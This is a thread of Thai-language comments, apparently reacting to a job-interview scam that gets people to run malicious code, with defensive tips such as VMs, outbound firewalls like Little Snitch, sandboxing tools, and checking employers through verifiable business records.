ผมเคยเจอประสบการณ์แทบจะเหมือนกันเป๊ะ https://kaveh.page/blog/job-interview-scam ถ้าใครส่งโค้ดมาให้ผมรันบนคอมพิวเตอร์ของผม ผมจะไม่ยอมเด็ดขาดถ้ามันไม่ได้มาจากช่องทางที่ผมเชื่อถือได้ก่อนอยู่แล้ว และถ้าบางครั้งจำเป็นต้องรันโค้ดของคนอื่นจริง ๆ ผมจะใช้ VM เสมอ
ในสถานการณ์แบบนี้ ผมใช้ Little Snitch เป็นเครื่องมือพื้นฐาน และตั้งให้เป็นโหมดแจ้งเตือนหรือบล็อกตลอด น่าตกใจมากที่แม้โปรแกรมซึ่งดูเหมือนไม่ต้องใช้อินเทอร์เน็ต ก็ยังพยายามต่อเซิร์ฟเวอร์อยู่เรื่อย ๆ ตัวอย่างเช่นปลั๊กอิน Cline ของ vscode มีตัวเลือกปิด telemetry ไปยังรีโมต แต่ถึงใช้ ollama แบบโลคัล มันก็ยังพยายามคุยกับเซิร์ฟเวอร์ทุกครั้งที่มีพรอมป์ต์
มีคนบอกว่า zero config sandbox ที่อิง Linux container คือ Python ของ sandbox-venv https://github.com/sandbox-utils/sandbox-venv และ npm ของ sandbox-run https://github.com/sandbox-utils/sandbox-run
ผมก็คิดว่า Littlesnitch หรือ OpenSnitch ช่วยได้มากในกรณีแบบนี้ แต่ต้องเลี่ยงกฎอนุญาตแบบ all-app ทั้งระบบ มัลแวร์เคยใช้แม้แต่เว็บที่ดูน่าเชื่อถืออย่าง Github Gists เพื่อขโมยข้อมูลสำคัญออกไป ถึงไฟร์วอลล์จะช่วยป้องกันได้ แต่ถ้าระบบถูกเจาะไปแล้ว ก็ต้องปฏิบัติต่อมันเสมือนว่าปนเปื้อนไปแล้วแน่นอน
ผมมักแปลกใจเวลาคนบ่นว่าระบบ build automation ต้องใช้อินเทอร์เน็ต แต่จริง ๆ มันเป็นเหตุผลที่สมควรแล้ว
ใช้ Malwarebytes WFC แล้วรู้สึกอุ่นใจกว่าเยอะ
บทเรียนที่สำคัญจริง ๆ คือ โซเชียลมีเดีย (รวมถึง LinkedIn) ไม่สามารถแทนกระบวนการตรวจสอบตัวตนที่ควรทำอย่างรอบคอบได้ สิ่งที่สำคัญกว่าคือ “ผลงานที่พิสูจน์ได้” เช่น การจดทะเบียนกับหอการค้า ข้อมูลภาษี (สำหรับบริษัทมหาชน) พาร์ตเนอร์ทางธุรกิจที่ยืนยันได้ หรือโปรเจกต์ที่ทำเสร็จจริงแล้ว ในปี 2025 “ป้ายยืนยันตัวตน” ไม่ใช่หลักฐานของความน่าเชื่อถืออีกต่อไป ของจริงคือประวัติผลงาน